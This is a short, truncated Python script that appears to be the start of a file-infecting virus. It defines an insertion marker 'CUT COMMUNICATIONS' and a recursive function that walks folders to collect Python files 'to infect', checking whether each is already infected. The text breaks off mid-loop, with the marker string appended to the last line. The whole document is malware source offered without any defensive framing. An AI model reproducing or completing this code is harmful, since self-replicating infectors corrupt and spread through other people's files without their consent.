1_ #!/usr/bin/python
2_ import os, datetime, inspect
3_ DATA_TO_INSERT = “CUT COMMUNICATIONS“
4_
5_ #search for target files in path
6_ def search(path):
7_ filestoinfect = []
8_ filelist = os.listdir(path)
9_ for filename in filelist:
10_
11_ #If it is a folder
12_ if os.path.isdir(path+”/”+filename):
13_ filestoinfect.extend(search(path+”/”+filename))
14_
15_ #If it is a python script -> Infect it
16_ elif filename[-3:] == “.py”:
17_
18_ #default value
19_ infected = False
20_ for line in open(path+”/”+filename): CUT COMMUNICATIONS